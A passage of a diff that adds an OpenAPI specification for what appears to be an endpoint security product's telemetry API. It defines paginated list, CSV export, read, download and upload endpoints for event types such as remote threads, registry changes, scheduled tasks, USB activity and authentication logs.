+        required: true
+        type: string
+  /data/telemetry/RawSocketCreation/:
+    get:
+      description: ""
+      operationId: data_telemetry_RawSocketCreation_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/RawSocketCreation'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/RawSocketCreation/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_RawSocketCreation_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/RawSocketCreation/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_RawSocketCreation_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RawSocketCreation'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/Registry/:
+    get:
+      description: ""
+      operationId: data_telemetry_Registry_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Registry'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/Registry/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_Registry_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/Registry/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_Registry_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Registry'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/RemoteThread/:
+    get:
+      description: ""
+      operationId: data_telemetry_RemoteThread_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/RemoteThread'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/RemoteThread/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_RemoteThread_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/RemoteThread/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_RemoteThread_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteThread'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/ScheduledTask/:
+    get:
+      description: ""
+      operationId: data_telemetry_ScheduledTask_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ECSTelemetry'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/ScheduledTask/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_ScheduledTask_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/ScheduledTask/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_ScheduledTask_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ECSTelemetry'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/ThreadDump/:
+    get:
+      description: ""
+      operationId: data_telemetry_ThreadDump_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ThreadDump'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/ThreadDump/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_ThreadDump_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/ThreadDump/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_ThreadDump_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreadDump'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/USBActivity/:
+    get:
+      description: |-
+        The device product/vendor names are sourced either from the Linux USB ID database, or the USB device's firmware
+        If the product/vendor ID matches to an entry in the Linux USB ID database, that name is used. Otherwise, the name reported by the firmware is used.
+        The Linux USB ID database is used first because the names it provides are usually more useful than the ones provided by firmwares.
+
+        More documentation is available at:
+        - https://www.usb.org/defined-class-codes - more information on USB classes/protocols
+        - http://www.linux-usb.org/ - Linux USB ID database (also includes additional USB class/protocol descriptions)
+      operationId: data_telemetry_USBActivity_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/USBActivity'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: USB Activity telemetry
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/USBActivity/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_USBActivity_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/USBActivity/{id}/:
+    get:
+      description: |-
+        The device product/vendor names are sourced either from the Linux USB ID database, or the USB device's firmware
+        If the product/vendor ID matches to an entry in the Linux USB ID database, that name is used. Otherwise, the name reported by the firmware is used.
+        The Linux USB ID database is used first because the names it provides are usually more useful than the ones provided by firmwares.
+
+        More documentation is available at:
+        - https://www.usb.org/defined-class-codes - more information on USB classes/protocols
+        - http://www.linux-usb.org/ - Linux USB ID database (also includes additional USB class/protocol descriptions)
+      operationId: data_telemetry_USBActivity_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/USBActivity'
+      summary: USB Activity telemetry
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/UrlRequest/:
+    get:
+      description: ""
+      operationId: data_telemetry_UrlRequest_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/UrlRequest'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/UrlRequest/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_UrlRequest_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/UrlRequest/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_UrlRequest_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UrlRequest'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/User/:
+    get:
+      description: ""
+      operationId: data_telemetry_User_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/UserEvent'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/User/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_User_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/User/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_User_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UserEvent'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/WindowsService/:
+    get:
+      description: ""
+      operationId: data_telemetry_WindowsService_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ECSTelemetry'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/WindowsService/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_WindowsService_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/WindowsService/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_WindowsService_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ECSTelemetry'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/WmiEvent/:
+    get:
+      description: ""
+      operationId: data_telemetry_WmiEvent_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/TelemetryWmiEvent'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/WmiEvent/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_WmiEvent_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/WmiEvent/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_WmiEvent_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/TelemetryWmiEvent'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/authentication/AuthenticationLinux/:
+    get:
+      description: ""
+      operationId: data_telemetry_authentication_AuthenticationLinux_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AuthenticationLinux'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/authentication/AuthenticationLinux/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_authentication_AuthenticationLinux_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/authentication/AuthenticationLinux/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_authentication_AuthenticationLinux_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AuthenticationLinux'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/authentication/AuthenticationLogin/:
+    get:
+      description: ""
+      operationId: data_telemetry_authentication_AuthenticationLogin_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AuthenticationLogin'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/authentication/AuthenticationLogin/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_authentication_AuthenticationLogin_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/authentication/AuthenticationLogin/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_authentication_AuthenticationLogin_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AuthenticationLogin'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/authentication/AuthenticationLogout/:
+    get:
+      description: ""
+      operationId: data_telemetry_authentication_AuthenticationLogout_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AuthenticationLogout'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/authentication/AuthenticationLogout/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_authentication_AuthenticationLogout_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/authentication/AuthenticationLogout/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_authentication_AuthenticationLogout_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AuthenticationLogout'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/authentication/AuthenticationMacos/:
+    get:
+      description: ""
+      operationId: data_telemetry_authentication_AuthenticationMacos_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AuthenticationMacos'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/authentication/AuthenticationMacos/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_authentication_AuthenticationMacos_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/authentication/AuthenticationMacos/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_authentication_AuthenticationMacos_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AuthenticationMacos'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/authentication/AuthenticationWindows/:
+    get:
+      description: ""
+      operationId: data_telemetry_authentication_AuthenticationWindows_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AuthenticationWindows'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/authentication/AuthenticationWindows/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_authentication_AuthenticationWindows_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/authentication/AuthenticationWindows/graph/:
+    get:
+      description: ""
+      operationId: data_telemetry_authentication_AuthenticationWindows_graph
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_MainGraph'
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/authentication/AuthenticationWindows/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_authentication_AuthenticationWindows_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AuthenticationWindows'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/file/Library/:
+    get:
+      description: ""
+      operationId: data_telemetry_file_Library_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Library'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/file/Library/download/{hash}/:
+    get:
+      description: ""
+      operationId: data_telemetry_file_Library_download
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: archived
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: File Attachment
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: hash
+        required: true
+        type: string
+  /data/telemetry/file/Library/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_file_Library_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/file/Library/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_file_Library_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Library'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/file/Library/{id}/upload/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    put:
+      description: ""
+      operationId: data_telemetry_file_Library_upload
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Library'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Library'
+      tags:
+        - telemetry
+  /data/telemetry/timeline/Favorite/:
+    parameters: []
+    post:
+      description: Create a new timeline favorite; throw an error if it already exists.
+      operationId: data_telemetry_timeline_Favorite_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/TimelineFavorite'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/TimelineFavorite'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - telemetry
+  /data/telemetry/timeline/Favorite/{id}/:
+    delete:
+      description: Delete a timeline favorite.
+      operationId: data_telemetry_timeline_Favorite_delete
+      parameters: []
+      responses:
